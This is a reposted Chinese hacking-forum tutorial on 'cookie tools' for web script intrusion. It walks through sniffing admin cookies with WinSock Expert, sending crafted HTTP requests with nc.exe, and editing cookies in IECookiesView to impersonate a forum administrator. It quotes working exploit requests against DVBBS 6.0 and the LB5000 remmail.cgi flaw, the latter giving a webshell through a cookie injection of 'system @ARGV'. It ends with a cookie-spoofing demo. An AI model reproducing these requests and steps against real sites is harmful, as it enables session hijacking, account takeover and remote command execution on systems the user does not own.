您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 电脑技术 查看内容

cookie工具三剑客

2009-2-9 03:36| 投稿: computer

摘要: 文章作者:lcx 来源: http://www.eviloctal.com/forum  最近网上流行web脚本入侵。常用的入侵方法有两个,一个是Sql Injecti...
文章作者:lcx 来源: http://www.eviloctal.com/forum  最近网上流行web脚本入侵。常用的入侵方法有两个,一个是Sql Injection(是一个描述将SQL代码传递到一个并不被开发人员所想要的应用程序中去的专业术语),另一个就是利用web脚本中对cookie变量过滤不严来入侵。那么什么是cookie呢?简单的说就是Web页服务器用来记录你的信息, 置于您硬盘上的一个非常小的文本文件。具体点说如果是98那么它们默认存放在drive:\windows\cookies目录下,如果是2k它们在drive:\Documents and Settings\%你的用户名%\Cookies目录下(每个文件都不会超过4KB)。它们的文件名格式为:你的用户名@产生的COOKIE的网页文件所在的WEB目录[COOKIE改变的次数].txt。具体的例子就像这个文件:iwam_system@cookie[3].txt。这里我只谈与cookie有关的三个入侵工具。  一个是cookie的嗅探工具。网友PsKey最近写了一篇<<动网论坛(DVBBS)存在严重漏洞>>的文章。文章大意是由www.aspsky.net开发和维护的源代码开放的DVBBS6.0论坛由于其tongji.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击。在dbvvs6.o的sql版可以直接在服务器主机上添加管理员用户,在dbvvs6.o的acess版提交特殊url可以得到论坛里所有用户的cookie数据,进而威胁论坛或服务器安全。原文你可以在安全焦点网站(http://www.xfocus.net)看到。  文章里有一段写到"看看管理员操作论坛时到底需要些什么,举个例子,删帖子的时候: POST /asp/dvbbs/admin_postings.asp?action=delet HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */* Referer: http://www.target.com/asp/dvbbs/admin_postings.asp?action=删除主题&BoardID=2&ID=2 Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)Host: target.comContent-Length: 124Connection: Keep-AliveCache-Control: no-cache Cookie: aspsky=userhidden=2&password=18e071ccfb2d1c99&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin&usercookies=0; iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDAASCSCDC=IPKLMGFAKFJLMOLNMMEMFDGC; upNum=0 title=%B9%E0%CB%AE&content=&doWealth=-7&douserCP=-5&douserEP=-5&id=2&replyid=&boardid=2&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7 "screen.width-300)this.width=screen.width-300" border=0>这些数据就是管理员在删贴子的时与动网主机的通讯数据。很多菜鸟看到这里就不明白了,pskey是如何得到这些数据的呢?特别是最后一大段的cookie数据是怎样探测到的?pskey用的什么工具我不得而知,但我介绍的WinSock Expert这个小工具也可以邦我们探测到这些数据。它是国人董雪强编写的一个用来监视和修改网络发送和接收数据的程序,但遗憾的却是一个英文版本。不过使用方法是很简单的。举个例子,我来登陆我在本机上架设的动网论坛,图1.jpg。screen.width-300)this.width=screen.width-300" border=0>我选择的是cookie保存一天,看看WinSock Expert会嗅探到什么数据呢?此时打开WinSock Expert,图2.jpgscreen.width-300)this.width=screen.width-300" border=0>点打开图标在弹出窗口的菜单里找到动网的登陆页面,图3.jpgscreen.width-300)this.width=screen.width-300" border=0>点ope进行监听。然后我登陆动网论坛,登陆完毕后,再看看WinSock Expert帮我在本机接收到那些cookie数据呢?图4.jpg。screen.width-300)this.width=screen.width-300" border=0>看到了没有,我们接收到了和pskey在文章中提到的类似数据,里边包含了cookie的各项值。当然用这个工具,你不但可以监听发送和接收的cookie,还可以用来帮助您调试网络应用程序,分析网络程序的通信协议(如分析OICQ的发送接收数据),并且在必要的时候能够修改发送的数据。这些功能在软件的帮助里都有简单说明。  第二个是cookie的发送工具。还是先看网友pskey的一篇<<LB5K论坛remmail.cgi存在认证和过滤不严漏洞>>文章吧。原文你也可以安全焦点看到。文章提到LB是一款由www.leoboard.com开发和维护的源代码开放的cgi论坛;由于remmail.cgi存在认证和过滤不严漏洞,可能导致非法用户控制论坛或以web权限在系统上执行任意命令。攻击方法:如果对方w2k系统采用的是"perl.exe %s %s"映射方式很容易搞定,发送如下求就可以了得到一个网页shell了:GET /perl/lb5000mx/cgi-bin/remmail.cgi?member=system%20%40ARGV HTTP/1.1 Host: target.com Cookie: amembernamecookie=system%20%40ARGV 菜鸟又不明白了,这些数据我如何发送呢?一开始我也不会,还用vb编写了一个小软件来发送这些数据。后来在几个论坛上问了高手,学到了一个cookie的发送方法。工具就是用瑞士军刀nc.exe,方法是依次提交以下几行类似的数据:nc -vv www.target.com 80get /xxx/xxx.cgi?xxx=xxx HTTP/1.1host:www.target.comcookie:xxxxx=xxxxx看我在本机做的实验,图5这是用nc提交cookie的方法。screen.width-300)this.width=screen.width-300" border=0>这是得到了一个webshell。  注意的是,用w2k自带的telnet工具也可以做到,方法和nc.exe一样,不过我发现用telnet不太容易控制字符输入。screen.width-300)this.width=screen.width-300" border=0>第三个cookie的管理工具,iecookiesview。看名字就明白它是用来做什么的吧。先看一下我用记事本打开刚才本机登陆动网论坛留下的cookie文件,它是放在我硬盘c:\Documents and Settings\administrator\Cookies目录下,文件名是administrator@dvbbs6[1].txt,内容如下:aspsky userid=1&usercookies=1&userhidden=2&password=469e80d32c0559f8&userclass=%B9%DC%C0%ED%D4%B1&username=admin 192.168.1.3/asp/dvbbs6/ 0 1896775680 29244795 3943711152 29244638 *   啊,这样好多地方看不明白,还有一些乱码。我们用iecookiesview打开来看看。图7。screen.width-300)this.width=screen.width-300" border=0>从图中我们很清楚看到这个动网产生的cookie的各项值的意思了。key是cookie的关键字,value是cookie的值,domain是cookie来的网域,expire是cookie的过效期,modified是cookie的产生时间(:-)不好意思,我的电时间都是1999年),secure是安全的意思,它的值一般都是no。通过这个工具,我们可以清清楚楚知道这些cookie的表示意思了,并且它还自动将汉字产生的url编码cookie又转换成了汉字。上边用记事本打开看到的乱码%B9%DC%C0%ED%D4%B1,现在我们明白了它就是三个汉字管理员。  iecookiesview最大的一个好处是可以轻松修改cookie,因为我们可以看的懂。像某个动网论坛你无论是利用pskey提到的漏洞,还中利用跨站或其它的手段,得到管理员的cookie了。然后你可以先用普通用户登陆论坛在本机产生一个cookie,再打开iecookiesview编辑你的普通用户的cookie,像图8。screen.width-300)this.width=screen.width-300" border=0>用管理员的各项cookie值对应修改普通用户各项cookie值后,点modify cookies就可以变成管理员的cookie了。此时你再打开ie重新登陆该动网论坛,你就会变成该论坛管理员。 下边,我再用这nc.exe和WinSock Expert这两个工具简单的来进行一次cookie欺骗操作演示,进一步说明我介绍的cookie三剑客工具的用法。我这儿写了一个简单的asp脚本level.asp,源码和源码简单说明如下:<%response.write now()%><%response.write "<br>"%><%response.write "<html><script>document.write(documents.cookie);</script></html>"%>'说明:以上代码产生level.asp这个网页的cookie值<% if Request.Cookies("level")<>"" thenresponse.write "<html><script>document.write(documents.cookie);</script></html>"if request.cookies("level")="user" thenresponse.write "<html><script>alert('you are a user');</script></html>"'说明:如果cookie的变量level值为user的话,弹出对话框you are a userelseif request.cookies("level")="admin" thenresponse.write "<html><script>alert('you are administrator!');</script></html>"set fso1=server.createobject("scripting.filesystemobject")set fil=fso1.opentextfile(server.mappath("lcx.txt"),8,true)fil.writeline "you are admin!"'说明:如果cookie的变量level值为admin的话,弹出对话框you are administrator!并在level.asp同目录下生成lcx.txt,内容是you are admin!end ifend ifelseresponse.write "<html><script>alert('你没有cookie值');</script></html>" end if%>'说明:如果cookie的变量level没有收到这user和admin的值,那么弹出对话框你没有cookie值   现在我们执行level.asp,cookie的变量levelua并没有收到这user和admin的值,看看会发生什么。图9screen.width-300)this.width=screen.width-300" border=0>如果我们将<%response.cookies("level")="user"%>这行代码的插的第三行后,再次运行这个level.asp脚本的时候,它会自动产生cookie的变量level值设为user,看结果,图10.jpg。screen.width-300)this.width=screen.width-300" border=0>此时我们通过WinSock Expert抓数据,图11.jpg。screen.width-300)this.width=screen.width-300" border=0>我们抓得下列cookie数据:cookie:iscookies=0; BoardList=BoardID=Show; level=user; ASPSESSIONIDQGGGQSLC=NOIBEOPACLBOJFLGFLEDICNHiscookies=0; BoardList=BoardID=Show; level=user; ASPSESSIONIDQGGGQSLC=NOIBEOPACLBOJFLGFLEDICNH现在我们要做的就是欺骗level.asp,让它以为我们提交cookie的值为admin,这样会在level.asp同目录下生成lcx.txt。分析源代码得知,只要我们提交cookie的变量level值为admin,就可以达到我们想要的结果了。我们将WinSock Expert抓的数据改一下,改成:cookie:iscookies=0; BoardList=BoardID=Show; level=admin; 注意改成admin了ASPSESSIONIDQGGGQSLC=NOIBEOPACLBOJFLGFLEDICNHiscookies=0; BoardList=BoardID=Show; level=admin;注意改成admin了 ASPSESSIONIDQGGGQSLC=NOIBEOPACLBOJFLGFLEDICNH现在我们用nc来提交cookie值,骗过level.asp.图12.jpg。仔细看图11,最下边有一行alert('you are administrator'),这说明,我们成功了。果然在level.asp同目录下生成了lcx.txt,内容是you are admin!   这三个COOKIE小工具,我只介绍到这儿了。如果你能够熟练运用,我相信肯定会对你入侵web脚本有一定的帮助。另外,需要说明的是本文写作中引用了网友pskey的部份文章,cookie欺骗部份参考了网友czy的cookie欺骗教程。在此表示感谢。

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部